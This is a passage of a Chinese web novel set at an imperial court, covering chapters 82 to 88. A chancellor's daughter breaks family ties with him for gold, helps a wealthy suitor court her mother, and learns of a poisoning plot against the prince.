柳映雪静静地看着他的表情变化。从最初的愤怒,到犹豫,再到贪婪。她在心中冷笑,这个男人的选择,早在她说出三十万两时就已经注定了。 终于,柳丞相抬起头,一字一句道:“好,从今日起,本相与雪儿断绝父女关系。” 话音刚落,朱氏如释重负地松了口气。她看向女儿,却发现女儿的眼中没有半分伤心,反而带着几分解脱。 第八十二章 断亲书 柳晓很快取来笔墨纸砚,恭敬地放在案几上。柳映雪亲自执笔写下断亲书,字迹清秀有力。她时不时停下来,与萧寒瑾讨论措辞。两人你一言我一语,配合默契。 柳丞相坐在一旁,看着这一幕,怒火中烧。这个逆女,写个断亲书还要这般认真?她是生怕写得不够绝情吗? 萧寒瑾站在柳映雪身后,目光在她纤细的手腕上流连。她写字时微微前倾的姿态,让他忍不住想要将她拥入怀中。但现在显然不是时候,他只能压下这份冲动,专注地看着她写下一个个字。 终于,断亲书写好了。柳丞相接过来看完内容,气得手都在发抖。这份断亲书写得滴水不漏,连日后想要翻供的机会都没有。他摸了把额头的血痂,直接摁在纸上,留下一个狰狞的血手印。 柳映雪看着那个血手印,忍不住撇嘴。这老头儿,还挺有戏剧性。不过也好,这血手印比普通的手印更有效力。 等双方都签字画押,萧寒瑾立即命人送去府衙备案。他做事向来雷厉风行,绝不给人反悔的机会。 柳丞相急不可待地问起银子的事。朱氏冷冷回道:“要自己派人来取。”她的语气中带着几分讥讽,仿佛在说:你不是最在意这个吗? 很快,一箱箱金元玉被抬到前厅。阳光透过窗棂照射在金子上,反射出耀眼的光芒。柳丞相越看越欢喜,完全忘记了自己是来接女儿的。他的眼中只剩下那些金灿灿的元玉,甚至开始盘算着该如何使用这笔横财。 柳映雪看着他贪婪的样子,心中发冷。这就是她的生父,为了钱可以出卖一切,包括自己的亲生女儿。她忽然有些庆幸,庆幸自己能够看清这个男人的真面目。 “丞相大人。”她淡淡开口,声音中带着几分警告,“这些金子出了清溪居,若有损失,与我们无关。请您日后不要再来找麻烦。” “若数目没错,这些黄金银票的去向与你们无关。”柳丞相冷冷说道,他的目光在堆放整齐的银票上扫过,手指不自觉地摩挲着桌面。 萧寒瑾站在一旁,眼角余光瞥见小王妃眼中闪过的狡黠。他不动声色地勾了勾唇角。堂堂丞相竟被自己的女儿逼到如此地步,当真是讽刺。 大厅内的空气凝滞得令人窒息,檀香在铜炉中缓缓燃烧,烟雾袅袅上升又消散。柳丞相端坐在太师椅上,面色阴沉如水,眼中闪烁着不甘与愤怒。 “王爷,微臣说话向来算数。”柳丞相的语气中带着几分不耐,指节在桌面上轻叩,发出清脆的响声。 柳映雪站在一旁,目光平静地看着这一切。她的手指无意识地摩挲着袖口的刺绣,精致的花纹在指尖流转。“既然银钱已点清,那丞相大人可以告辞了。”她的声音淡淡的,仿佛在谈论一件微不足道的小事。 司叔站在一旁,对着柳丞相微微颔首:“大人,数目无误。” “去吧,本相要亲自看着运回府。”柳丞相挥了挥手。他的目光始终没有落在柳映雪身上,仿佛她只是个无关紧要的陌生人。 离开前厅时,朱氏的脸上带着疲惫,但仍强撑着热情邀请:“王爷请到小厅用茶,民妇感激王爷今日相助。”她的手指微微颤抖,显然方才的一切对她造成了不小的打击。 “夫人客气了,本王来迟,让雪儿受委屈,实在过意不去。”萧寒瑾温声道,目光中带着几分歉意。阳光从窗棂间洒落,在他俊美的面容上投下斑驳的光影。 朱氏连忙摆手:“王爷说哪里话,能得王爷相助,已是天大的福分。”她的声音有些哽咽,眼角泛着泪光。 “本王还有要事,就不打扰了。”萧寒瑾拱手告辞,转身时衣袖带起一阵清风。 就在这时,柳映雪突然皱眉,鼻尖轻嗅:“等等,你身上有血腥味,受伤了?”她的眉头微蹙。 “雪儿鼻子真灵。”萧寒瑾轻笑,目光温柔,“不过是属下受了伤,我正要去看看。” 柳映雪从袖中取出一个精致的瓷瓶,瓷瓶上绘着淡雅的兰花纹样:“这是止血止痛的药丸,若伤势严重,我可代为诊治。”她的声音带着几分关切。 萧寒瑾接过瓷瓶,指尖不经意间触碰到她的手,一丝温暖传来。“多谢雪儿关心,若有需要定来相求。” 目送萧寒瑾离去的背影,柳映雪心中泛起一丝暖意。每次她遇事,他总是第一个赶来,像是一道永远不会消散的光。 朱氏站在廊下,看着远处的花园,面露疲态。想到方才柳丞相的丑态,她不禁自责当年瞎了眼。花园里的牡丹开得正艳,却衬得她心中更加凄凉。 “娘亲,从今往后,我们与丞相府再无瓜葛。”柳映雪轻声安慰道,伸手扶住母亲微微发抖的肩膀。 朱氏眼中含泪:“是啊,只恨当年没看清那人的真面目。”她的声音带着深深的悔意,“若是早知如此,当年就该...” “伪善之人最善隐藏,娘亲不必自责。”柳映雪打断母亲的话,“好在如今已经脱离,往后安心过日子便是。” “雪儿说得对。”朱氏勉强挤出一丝笑容,眼角的皱纹在阳光下格外明显。 “娘亲先回房歇息,我去看看新府邸,回来再向您禀报。”柳映雪扶着母亲走到房门口。 朱氏点头应允,叮嘱道:“路上小心,早些回来。” 柳映雪带着丫鬟上了马车,直奔凤栖楼。马车在石板路上缓缓前行,车轮与地面的摩擦声混杂着街市的喧嚣。一路上,街头巷尾都在议论秦大小姐毁容和柳大小姐作诗的事。 “听说了吗?秦大小姐那张脸...” “可不是,听说是...” “柳大小姐那首诗写得可真绝...” 突然,一个响亮的声音划破街市的嘈杂:“快去茶楼听说书,丞相府又有新鲜事了!柳大小姐与丞相的断亲书!” 第八十三章 欢喜冤家 柳映雪坐在马车里,嘴角抽搐。这消息传得也太快了,想必是有人故意为之。马车内的帘子被风吹起一角,她看到街边的行人纷纷驻足议论。 到了凤栖楼,她刚踏入门槛,就看见玉太子大马金刀地坐着,东玉琳在一旁殷勤伺候。茶香袅袅,掩盖不住两人之间诡异的氛围。 看着这对冤家变脸比翻书还快,柳映雪不禁莞尔。这两人昨日还势同水火,今日就和睦得像对璧人,当真是世事难料。 楼下传来一阵喧哗,显然是有人在讲述丞相府的新鲜事。说书先生绘声绘色地描述着柳丞相如何为了银钱与亲生女儿断绝关系,听众们时而惊呼时而叹息。 她不知道的是,绿竹已在府衙添油加醋地宣扬了柳丞相重财轻女的恶行。那位疼爱女儿的府衙大人听后勃然大怒,拍案而起。消息一传十十传百,整个京都城都在议论这位“黑心丞相”。 东玉琳一见到柳映雪,立刻欢快地奔了过去,裙摆在风中翩翩起舞,像只欢快的蝴蝶。 “姐姐,你来啦!”她的声音里带着掩饰不住的雀跃,眼睛亮晶晶的,仿佛盛满了星光。 柳映雪看着眼前的场景,不由得挑了挑眉。庭院里,一位身着锦衣的公子正悠然自得地品茶,而东玉琳则像个小丫鬟般站在一旁。这画面着实有些滑稽。 “这是怎么回事?”她的目光在东玉琳和那位公子之间来回打量,语气中带着几分探询。 东玉琳撇了撇嘴,眉眼间满是不情愿,“这只花蝴蝶向我借了四百两银子,我答应为他做丫鬟。”说着,她还不忘朝那位公子翻了个白眼。 “只是在青云国期间!”她赶紧补充道,生怕别人误会,“等他回去了,我就不伺候了。”说这话时,她的手指不安分地绞着衣角,显然对这份差事并不热衷。 话音未落,一把雕工精致的折扇便轻轻敲在了她的头上。扇面上绘着一幅山水画,在阳光下泛着淡淡的光泽。 “本公子说过多少遍了,不许叫我花蝴蝶。”玉太子一脸不悦,眉头微蹙,却掩饰不住眼底的笑意。 东玉琳捂着脑袋,怒气冲冲地瞪着他,眼中几乎要喷出火来。“你这只花蝴蝶真是够了!为了让本小姐为你奉茶,你都跑了多少趟茅房了?怎么还没把自己喝死?”她的声音里带着几分气恼,却又透着一丝难以察觉的娇嗔。 玉太子优雅地抿了一口茶,茶香在唇齿间氤氲。“丫鬟就要有丫鬟的样子,主子让你做什么你就得做什么。”他悠然自得地说道,目光戏谑地看着东玉琳,“否则,还钱。” 这两个字就像魔咒一般,瞬间让东玉琳偃旗息鼓。她咬着下唇,眼中闪过一丝无奈。这可是四百两银子啊,她哪里还得起? “过来,继续给本公子倒茶。”玉太子的声音懒洋洋的,带着几分调侃。 “就知道喝水,迟早喝死你。”东玉琳小声嘀咕着,手上却还是乖乖地拿起茶壶。阳光透过茶水,在她白皙的手腕上投下斑驳的光影。 “本公子的耳朵灵光得很,你说什么我都听得见。”玉太子的声音里带着笑意,目光却一直追随着东玉琳的身影。 柳映雪看着这一幕,不禁莞尔。这两个人凑在一起,倒是意外的有趣。阳光下,一个高贵优雅,一个活泼可爱,竟莫名地和谐。 这时,孙掌柜快步走了过来,脚步声打破了院子里的宁静。“小小姐来了。”他恭敬地行了一礼。 “嗯,娘亲说府邸布置得差不多了,我想去看看。”柳映雪的声音温柔,带着几分期待。 “老奴已经按照小姐的吩咐都安排好了,只剩下一些定制的物件还未到。”孙掌柜细心地解释道,“小小姐若是觉得哪里不妥,随时告诉老奴。” 柳映雪点头道谢,临走前又看了眼那对欢喜冤家。一个笑得开怀,一个气得跳脚,倒也般配。阳光下,他们的身影交织在一起,构成了一幅生动的画卷。 来到新府邸门前,马车刚刚停稳,柳映雪便看到一对主仆匆匆而来。晓日的微风拂过,带来了淡淡的花香。 那位锦衣公子面带期待,眼中闪烁着掩饰不住的紧张。他的目光急切地在柳映雪脸上搜寻着什么,可当看清她的面容时,眼中的光芒瞬间暗淡了几分,就像被云遮住的星辰。 柳映雪正要转身离开,那人却又突然变得兴奋起来,仿佛看到了什么希望。 “这位小姐请稍等。”他的声音温润如玉,带着几分书生气。 柳映雪转身,打量着眼前这位儒雅俊朗的男子。他身上没有世家公子常见的矫揉造作,反而透着一股真诚。阳光下,他的眉目清秀,眼神清澈。 “在下是隔壁府邸的司马澄......”他的话突然顿住了,似乎不知该如何继续。手指无意识地摩挲着衣袖,显示出内心的紧张。 柳映雪轻笑,“你就是司马澄?”她的声音里带着几分玩味。 “正是!”他眼前一亮,就像黑夜里突然亮起的星火,“令堂可曾提起过在下?” “确实提过。”柳映雪点头,嘴角勾起一抹浅笑,“说你蠢得连封信都不会署名,让她误以为是他人所作。” 司马澄的表情瞬间垮了下来,恨不得给自己两个耳光。他的脸上浮现出懊恼的神色,眼中的光芒也暗淡了几分。 “你叫住我,是想问我娘亲的事吧?”柳映雪看着他窘迫的模样,心中不禁觉得有趣。 他连连点头,就像一个迫切想要答案的孩子。 “不如去你府上详谈?”柳映雪提议道,目光落在他身上,“只是不知令夫人是否方便?” “小姐放心。”管家赶忙解释,脸上带着几分自豪,“我家少爷一心扑在生意上,至今未曾娶妻。” 柳映雪暗自点头。如此痴情之辈,倒是难得。阳光下,司马澄的侧脸显得格外清俊,眼中的真诚更是让人无法忽视。 第八十四章 登门司马澄府邸 晓风拂过,带来了远处的花香。柳映雪看着眼前这个痴情的男子,心中不禁泛起一丝涟漪。这样的人,或许值得给他一个机会。 柳映雪跟着司马澄来到他的府邸,一路上她都在暗暗观察这位母亲的追求者。 司马澄今日一反往日的威严做派,举手投足间带着几分拘谨,时不时用余光瞥向身旁的柳映雪,生怕她会突然消失似的。 “小姐,到了。”管家恭敬地推开雕花大门。 柳映雪一进前厅就愣住了。眼前的布置让她有种恍若隔世之感——檀木桌案上摆着一尊青花瓷,造型古朴典雅;旁边是一盆兰花,姿态婀娜;墙上挂着一幅山水画,笔触细腻,意境深远。 这些摆设,每一样都透着娘亲的品味。就连那幅山水画的位置,都和娘亲当年在丞相府时一模一样。 “这位大人,还真是用心。”柳映雪在心里暗暗感叹,目光不经意间扫过司马澄紧张的侧脸。 “小姐请用茶。”管家端上一盏上好的龙井。 茶香四溢,柳映雪轻轻抿了一口,唇齿间满是清香。这茶的品质,比丞相府的还要好上几分。她不动声色地放下茶盏,心中却泛起一丝涟漪。 司马澄坐立不安,手指无意识地摩挲着茶杯边缘。他张了张嘴,却又不知该如何开口。 “司马叔父,”柳映雪打破沉默,直视着司马澄的眼睛,“我知道你想问什么。” 司马澄一愣,随即露出几分尴尬的笑容:“雪儿果然聪慧。” “我确实...想知道你娘亲的近况。”他的声音里带着掩饰不住的期待与关切。 柳映雪看着眼前这个平日里威严的朝廷重臣,此刻却像个情窦初开的少年,不禁莞尔。她放下手中的茶盏,轻声道:“娘亲过得很好,比在丞相府时开心多了。” 司马澄语气担忧:“她一个人打理铺子,不会太辛苦吧?” “叔父放心,有孙掌柜帮忙。”柳映雪说着,目光落在厅内的摆设上,“倒是叔父,这些年一直都记着娘亲的喜好?” 司马澄神色一滞,眼中浮现出追忆的神色:“十五年了...从你娘亲嫁入丞相府那天起,我就记住了她喜欢的一切。” 他站起身,走到那幅山水画前:“这幅画是你娘亲最喜欢的一幅,当年在丞府时,她总说这画里有山有水,让人心旷神怡。” “后来我托人寻了许久,终于找到了同样的一幅。”司马澄的声音低沉,“每次看到这幅画,就仿佛能看到她站在画前赏玩的模样。” 柳映雪看着他落寞的背影,心中微动。她轻声问道:“叔父可知道,娘亲这些年在丞相府受了多少委屈?” 司马澄的身子猛地一颤,转过身来,眼中满是痛楚:“知道...都知道。这些年,我每次听到关于雅芸的消息,心里都像刀割一样。” “那叔父为何不早些出手相助?”柳映雪步步紧逼。 “我...”司马澄攥紧了拳头,指节泛白,“当年我奉命出使西域,等我回来时,雅芸已经...”他的声音哽咽,“已经嫁入丞相府了。” “后来我想尽办法接近丞相府,只为能多看她一眼。可每次看到她憔悴的模样,我都恨不得...”司马澄深吸一口气,“恨不得立刻带她离开。” 柳映雪看着他痛苦的表情,又问:“叔父若是真心待我娘亲,府上长辈可会同意?” “这个你尽管放心,”司马澄神色坚定,“我父母一直都很喜欢雅芸。当年若不是我远在西域,他们也不会眼睁睁看着雅芸嫁入丞相府。” “那府上其他人呢?” “我妹妹已经出嫁,庶弟也分了家。府里就剩我和父母,绝不会有人为难雅芸。”司马澄说着,目光灼灼地看向柳映雪,“雪儿,我会一直把你当亲生女儿看待。” 柳映雪细细打量着司马澄。这个男人的眼神清澈见底,不似作伪。她想起娘亲提起往事时,眼中偶尔闪过的那抹柔情,心中渐渐有了计较。 “叔父,我可以帮你,但你得答应我一件事。” “雪儿请说。”司马澄立刻挺直了腰背。 “娘亲这些年受够了委屈,若叔父当真想追求她,就得拿出十二分的诚意来。”柳映雪一字一句道,“我不希望看到娘亲再受半点伤害。” 司马澄郑重地点头:“我定会好好待她,用余生补偿她所有的苦楚。” “那叔父准备如何追求娘亲?” 司马澄露出温柔的笑容:“我想先从她最喜欢的诗词入手。记得当年她最爱吟诵李商隐的诗,尤其是《无题》。” “我打算请人写一首和诗,托雪儿带给她。”司马澄说着,从袖中取出一张折叠整齐的宣纸,“不知...这首诗如何?” 柳映雪接过宣纸,只见上面写着: “锦瑟无端五十弦,一弦一柱思华年。 庄生晓梦迷蝴蝶,望帝晓心托杜鹃。 沧海月明珠有泪,蓝田日暖玉生烟。 此情可待成追忆,只是当时已惘然。” 字迹清隽,透着几分温柔缱绻。柳映雪看完,不禁感叹:“叔父的心意,想必娘亲看了一定会明白。” 司马澄眼中闪过一丝希冀:“雪儿觉得...她会原谅我吗?” “这个我也说不准。”柳映雪将宣纸叠好,“不过,娘亲向来是个通情达理的人。只要叔父真心诚意,总会有机会的。” 司马澄如释重负地笑了:“有雪儿这句话,我就安心了。” 柳映雪看着他眼中的期待,心中暗暗点头。或许,这个深情了十五年的男人,真能给娘亲带来迟来的幸福。 柳映雪漫步在司空府的庭院中,目光细致地打量着周遭的一切。庭中假山错落有致,花木修剪得当,处处透着精心打理的痕迹,却不显刻意。几个下人远远地忙碌着,看到她时都恭敬地行礼,眼神清澈,没有那种宫廷贵族府邸常见的谄媚和算计。 “这里的一切都很好。”她在心里默默评判着,“若是娘亲嫁到这里来,应该不会受委屈。” 但想到柳府的种种,她又不禁蹙眉。那些年娘亲在柳府的遭遇,让她不得不谨慎再谨慎。 第八十五章 成全 司马澄站在不远处的回廊下,目光温和地看着她。阳光透过雕花的廊柱,在他身上投下斑驳的光影。这位云州首富看起来儒雅随和,与那些趾高气扬的达官贵人大不相同。 “叔父,”柳映雪缓步走近,“我有一个不太合适的问题想问。” “雪儿但说无妨。”司马澄微笑道,眼角的细纹让他的笑容显得格外真诚,“你能为你娘亲考虑这么多,叔父很是欣慰。” 柳映雪停在台阶下,仰头直视着司马澄的眼睛:“若娘亲嫁给叔父,日后叔父会不会......”她顿了顿,“会不会像柳丞相那样,纳妾抬姨娘?” 提到柳昌泰,司马澄的眸光陡然一冷。他的手指无意识地握紧了栏杆,指节微微发白。片刻后,他才恢复了平静。 “雪儿放心,叔父这一辈子只娶了你娘亲一个。”他的声音低沉而坚定,“那柳昌泰当初伪装得太好,等到了京城才露出真面目,让你娘亲受尽委屈。” 柳映雪敏锐地捕捉到他话中的恨意:“听叔父这语气,莫非......” “不错,”司马澄坦然承认,“当年见你娘亲受困后院,我曾派人刺杀过柳昌泰。可惜他身边高手如云,未能得手。” 这句话让柳映雪震惊不已。她下意识后退半步,重新审视着眼前这个看似温和的男人。敢对当朝丞相下手,这份胆量和决断,远超她的想象。 司马澄看出她的惊讶,轻笑着解释:“雪儿不必担心,叔父做事向来谨慎,不会连累你们母女。只是......”他的目光变得深邃,“看着心爱之人被欺凌,却无能为力的滋味,实在太过痛苦。” 柳映雪听出了他话中的自责和不甘。她抿了抿唇,忽然调皮地眨眨眼:“那我的问题也问完了,接下来就看叔父的诚意了。” “雪儿,叔父还没给你送见面礼呢......” “不用不用,”柳映雪连忙摆手,“我听说云州的鱼有很多种做法,不知叔父府上的厨子......” “叔父亲自下厨如何?”司马澄笑道,眼中闪过一丝期待,“我会五种做法,你娘亲都尝过,说很是可口。” 柳映雪惊讶地瞪大眼睛:“叔父还会做饭?”她环顾四周奢华的装饰,“像叔父这样的身份......” “这有什么稀奇的?”司马澄温和地打断她,“这些年没事就研究做鱼,就盼着有朝一日能再为你娘亲做一次。”说到这里,他的眼神变得柔软,仿佛陷入了某些美好的回忆。 柳映雪看着他的表情,心中一动。这样的神情,绝不是装出来的。 “那我也要去看看!”她兴致勃勃地说。 “不必了,你是小姐,不用学这些。想吃了叔父随时给你做。” 两人说笑着向膳房走去。路过花园时,一阵微风拂过,带来淡淡的梅香。柳映雪叽叽喳喳地说个不停,时不时蹦跳几步,像只欢快的小鸟。司马澄则满脸慈爱地听着,偶尔应和几句。 这一幕落在管家眼中,不禁感动得老泪纵横。他在府中服侍了三十余年,还从未见少爷如此轻松愉快。那个意气风发的少年,终于又回来了。 与此同时,长乐宫内却是另一番光景。 华贵的宫殿内,凤馥香缓缓升腾,却掩不住剑拔弩张的气氛。皇上端坐在龙椅上,怒视着跪在地上的二公主三公主,连皇后在旁劝解都不管用。 “朕让你们去赏梅宴,是让你们去丢皇家的脸面的吗?”皇上怒喝道,声音在殿内回荡。 檀香袅袅升起,却驱散不了殿内的沉闷。铜镜台上的香炉冒着青烟,在晨光中显得格外清冷。皇上一大早便来此处理二公主三公主的事宜,这本该是皇后分内之事。 皇后指尖轻轻摩挲着手中的玉如意,面上虽然平静,心中却暗自不悦。她知晓皇上昨夜歇在卫贵妃宫中,想必是听了些枕边风,这才急着过来处理。想到这里,她的手指不自觉地加重了几分力道。 殿内跪着的二公主低垂着头,精心梳理的发髻上的珠钗微微颤动,显示出主人内心的不安。她身旁的三公主也跪在那里,时不时偷偷瞥向二公主,眼中闪过复杂的神色。 “二公主,你可知罪?”皇上目光如炬,声音沉稳却带着不容置疑的威严。 二公主身子一颤,连忙叩首,额头重重地磕在冰凉的地砖上:“父皇明鉴,儿臣实在冤枉!那丫鬟的事,儿臣也是后来才知晓。秦玉华虽与儿臣有些不睦,但儿臣断不会做出这等毁人容貌的事来。” 她的声音带着哭腔,纤细的肩膀不住地颤抖。殿内的宫女太监们都低着头,不敢发出一丝声响。 “是吗?”皇上眉头紧锁,手指轻叩龙椅扶手,发出规律的声响,“外头都传遍了,说你嫉妒秦玉华。” 白贵妃站在一旁,看着自己的女儿如此狼狈,心如刀绞。她忍不住上前一步,跪地求情:“皇上,二公主身为皇家贵女,何须嫉妒一个臣女?想必是有人别有用心,故意挑拨。” “住口!”皇后厉声喝止,凤眸中闪过一丝寒意,“朝堂之事,岂是你一个妃子该议论的?” 白贵妃咬着下唇,连忙低头认错。她的手指紧紧攥着裙摆,指节泛白。她必须为二公主开脱,否则这善妒毁容的名声一旦传开,不仅会影响二公主的婚事,更会连累她的四皇子。 殿内的气氛越发凝重,连空气似乎都变得粘稠起来。 皇上沉吟片刻,目光在二公主和三公主身上来回扫视:“长公主说那丫鬟已经招供,此事如何解释?” “回皇上,那丫鬟已经咬舌自尽。”白贵妃小心翼翼地回答,声音轻得几乎要消散在空气中,“临死前说是受人指使,但具体是谁,她始终没说。” 殿内一时寂静,连呼吸声都清晰可闻。 皇后坐在凤座上,目光若有所思地看着跪在地上的两位公主。秦家的势力不容小觑,秦帝师更是朝中重臣,这件事若处理不当,后果不堪设想。 第八十六章 绿雪重伤 “既如此,此事就到此为止。”皇上最终叹了口气,声音中带着几分疲惫,“二公主禁足一月,抄写女诫五十遍,以儆效尤。” “儿臣谢父皇开恩。”二公主如蒙大赦,连忙叩谢。 秦府内。 秦帝师站在书房中,手中的茶盏已经凉透。得知处置结果后,他的面色阴沉得可怕。窗外的梅花开得正盛,却衬得室内更加寒冷。 “大人,要不要...”家管欲言又止。 “不必了。”秦帝师摆了摆手,声音沙哑,“这件事,暂且放一放。” 他的孙女容貌尽毁,换来的却只是二公主这点惩罚?但他也只能将这份怒火压在心底。如今最要紧的是保住秦玉华的三皇子妃之位。、 京城医馆二楼。 陶大君推开房门,一身血迹斑驳,在昏暗的烛光下格外刺目。他的衣袖和前襟都被染红,连指缝间都还残留着未擦净的血渍。 他刚要向萧寒瑾行礼,却被对方抬手制止。房内的空气凝滞得令人窒息,只听得见烛火偶尔发出的轻微噼啪声。 “陶大君,绿雪如何?”萧寒瑾声音沉稳。他修长的手指无意识地摩挲着衣袖,这个细微的动作暴露了他内心的不平静。 陶大君疲惫地摇了摇头。他还未开口,绿竹已经控制不住情绪,嚎啕大哭起来。 “你哭什么!”绿风一脚踹在绿竹腿上,声音里带着几分恼怒,“陶大君话都没说完,你就在这儿哭丧。” 绿竹这才意识到自己的失态,慌忙用袖子胡乱擦拭着脸上的泪水,往后退了两步,肩膀还在微微颤抖。 “我还没开口呢,你就哭得像个孩子。”陶大君瞪了绿竹一眼,苍老的声音里带着几分责备,“这般沉不住气,如何在王爷身边当差?” 绿竹张了张嘴,最终还是没说出话来。他心里默念,你刚才明明是摇了摇头,那副表情分明是最坏的结果。 “王爷,”陶大君转向萧寒瑾,声音沉重,“绿雪性命无虞,但手筋被挑断,以后怕是难以握剑。他身上剑伤众多,能活着回来已是万幸。老夫已尽全力,其他的...实在无能为力。” 房内一片死寂,连呼吸声都变得格外清晰。 萧寒瑾从袖中取出一个青瓷小瓶。他将瓶子递给陶大君:“这是雪儿给的药,也许能帮他缓解伤痛。” 陶大君接过瓷瓶,手指微微发颤。他轻轻打开瓶塞闻了闻,顿时双眼放光,浑浊的眼中闪过惊喜:“好药!此药非同寻常,光是这药香就知制药之人医术高明。若能请此人出手,绿雪或许还有希望。老夫这就去给他服用。” 说罢,陶大君急匆匆进了内室,脚步声透着难掩的兴奋。 绿竹和绿风对视一眼,眼中重新燃起希望的光芒。两人的肩膀都不自觉地放松下来,方才压抑的氛围似乎也随之缓和了几分。 “此事本王会与雪儿商议。”萧寒瑾淡淡道,目光落在内室的方向。 不多时,房内传来陶大君激动的声音:“神奇!实在神奇!老夫行医数十载,从未见过这么神奇的药物。” 几人闻声走进内室,只见绿雪面色已不似方才苍白,虽然还很虚弱,但气色确实好了不少。床边的小几上摆着几碗药渣,散发着浓郁的药香。 “王爷,这位神医可否让老夫一见?”陶大君激动地问道,苍老的面容因兴奋而显得年轻了几分,“如此医术,老夫实在想当面请教。” 萧寒瑾正要说话,床上的绿雪忽然咳嗽几声,慢慢睁开了眼帘。他的眼神还有些涣散,像是在努力聚焦。 “绿雪!”绿竹和绿风几乎同时喊出声,连忙上前两步。 绿雪目光迷茫片刻,待看清来人,沙哑着声音道:“是你们...”声音虚弱得几乎听不见。 他目光一转,看到萧寒瑾,立刻就要强撑着起身。动作牵动伤口,他的眉头瞬间皱起,额头渗出细密的汗珠。 “不必起来。”萧寒瑾上前一步,声音里带着几分关切,“养好伤再说。” “王爷,属下有要事禀报。”绿雪急切道,声音因为着急而变得更加嘶哑,“事关王爷安危,不得不说。” 萧寒瑾眸光一凛,周身的气势瞬间变得凌厉起来。 “属下在西幽国查到,西幽皇室与巫域人暗中勾结。”绿雪说着咳嗽几声,脸色又开始发白,“他们要对王爷下蛊,以此操控王爷。属下因此暴露,这才...” 第八十七章 吃鱼 “可知是谁在主导此事?”萧寒瑾声音低沉,带着几分寒意。 “那人武功高强,戴着斗篷看不清面目。但从他靴子上的蟒纹来看,定是西幽皇室中人。”绿雪说着又是一阵剧烈咳嗽,整个人都蜷缩起来,“属下...属下没能查到更多...” “好好休息。”萧寒瑾沉声道,“其他事情,本王自会处理。” 待离开房间,萧寒瑾眉头紧锁。巫域人向来独来独往,如今为何要与西幽皇室勾结?此事背后必有隐情,必须尽快查清。 而此时的柳映雪,正在品尝着一道美味的酸菜鱼。鱼肉鲜嫩,酸辣适中,汤汁浓郁,光是闻着香味就让人食指大动。 “司马叔父的手艺真好。”她笑眯眯地说道,眼睛弯成月牙,“这道菜我要告诉凤栖楼的厨子,让他们也学着做。不过,我觉得他们怕是学不来这个味道。” 司马澄看着她吃得开心,不住地给她夹鱼肉,细心地挑去鱼刺。他的动作熟练而温柔,仿佛已经做过无数次。 “司马叔父,你也吃啊。”柳映雪说道,眼中闪过狡黠的光芒,“你这是专门为我娘学的厨艺吗?” 司马澄动作微微一顿,嘴角露出温柔的笑意:“是啊,你娘最爱吃鱼。特别是这道酸菜鱼,她总说要是能天天吃到就好了。” “那明日我带娘亲来尝尝。”柳映雪说着,偷偷观察司马澄的表情。 司马澄露出一丝期待与紧张,声音也不自觉地轻柔起来:“好,好...”他低头整理了一下衣袖,掩饰着内心的波动。 厨房里飘来阵阵香气,火苗在灶台上跳动,将司马澄的侧脸映照得忽明忽暗。他站起身去查看炉子上熬着的汤,动作间满是生活的烟火气。 柳映雪看着他的背影,嘴角勾起意味深长的笑容。她夹起一块鱼肉放入口中,细细品味着这份蕴含深情的美味。 “司马叔父这些年为娘亲付出良多,我总该让娘亲知晓。”她轻声说道,目光柔和地看向司马澄,“否则你在背后默默奉献,娘亲却浑然不知,岂不是太委屈了。” 司马澄闻言,面露喜色,随即又带着几分忐忑。他抬手轻抚着胡须,语气中难掩期待:“雪儿说得是。我已命人准备妥当,明日定要做些你娘亲最爱的菜肴。那道醉蟹,还有清蒸鲈鱼...” 他絮絮叨叨地说着,仿佛已在脑海中预演了无数遍明日的场景。柳映雪看在眼里,心中不禁感慨。这位在商场中运筹帷幄的大人,此刻竟像个情窦初开的少年。 海棠花瓣轻轻落在司马澄肩头,他却浑然不觉,仍在细数准备的菜品。柳映雪轻轻拂去那片花瓣,打断了他的絮语:“司马叔父,您太紧张了。” 司马澄这才回过神来,略显窘迫地咳嗽两声:“是有些失态了。”他整了整衣袍,目光却不自觉地望向院门,“雪儿,今日你娘亲怎未同来?” 提到这个,柳映雪眉头微蹙:“本是要来的。谁知柳昌泰一大早就找上门来,非要我回丞相府。”她语气中带着几分冷意,“娘亲被他气得不轻。” “这柳昌泰又在打什么主意?”司马澄面色一沉,眼中闪过一丝锐利。 “无非是为那十万两黄金。”柳映雪冷笑一声,走到院中石桌旁坐下,“娘亲又给了他二十万两银票,从此我与他再无瓜葛。” 司马澄在她对面落座,连连点头:“断得好!那柳昌泰虽贵为丞相,却是根基不稳。若不是偶得圣心,他又算得了什么?”他冷哼一声,“朝中多少大臣对他不服,迟早有他自食其果的一日。” 一阵风过,带起几片海棠花瓣,轻轻落在石桌上。司马澄望着那粉白花瓣,神色渐渐柔和:“雪儿,若是手头紧,叔父这里...” “不必了。”柳映雪连忙摆手,“我和娘如今不缺银子。” 司马澄见她如此,也不强求,语气温和:“那好,日后若有需要尽管开口。叔父的便是你的。” 柳映雪一时语塞。这话她要怎么接?目光落在那片花瓣上,轻声道:“叔父的是娘亲的,娘亲的还是娘亲的。”她狡黠一笑,“至于雪儿,自会赚取所需。” “哈哈哈!”司马澄大笑,“和你娘亲年轻时一样聪明。” 柳映雪暗自摇头,这司马叔父当真是句句不离娘亲。她正想说些什么,却见一名小厮匆匆而来,在司马澄耳边低语几句。 司马澄神色微变,起身道:“抱歉雪儿,有些公务需要处理。不如我先让人带你去看看新府邸?” “也好。”柳映雪点头。 司马澄唤来司管家,仔细交代了几句,这才匆匆离去。司管家恭敬地引着柳映雪往新府邸走去,一路上细细介绍着各处布置。 新府邸坐落在城南最繁华的地段,占地颇广。院中花木扶疏,假山水榭一应俱全。柳映雪走在青石板路上,听着司管家的介绍,不时点头。 “小姐,这处是专门为夫人准备的绣楼。”司管家指着一座雅致的小楼,“老爷特意命人寻来上好的紫檀木,又请了城中最好的匠人...” 柳映雪看着眼前精致的布置,心中感慨。司马叔父对娘亲的心意,当真是处处可见。 正在这时,一阵急促的脚步声传来。“司管家!”一名小厮跑来,“老爷让您过去一趟。” 司管家向柳映雪告罪一声,匆匆离去。柳映雪独自在府中漫步,不时驻足观赏。走到后院时,却听见墙外传来窃窃私语。 “你说那位摄政王妃当真要住进来?” “可不是么,听说已经和丞相府断了亲。” “啧啧,也不知是福是祸。” 柳映雪冷笑一声,转身离去。她早已习惯这些闲言碎语,倒是为娘亲担心。以娘亲的性子,若知道外人这般议论,只怕更不愿意搬来。 待司管家回来,已是一个时辰后。他满头大汗,连连道歉:“让小姐久等了。” “无妨。”柳映雪摆摆手,“我看得差不多了,先回去了。” 回到清溪居时,天色已近黄昏。院中梨花开得正好,暮色中透着几分凄清。柳映雪站在花下,思索着如何说服娘亲。 第八十八章 丞相带着黄金回府了 而此时的丞相府内,却是另一番光景。 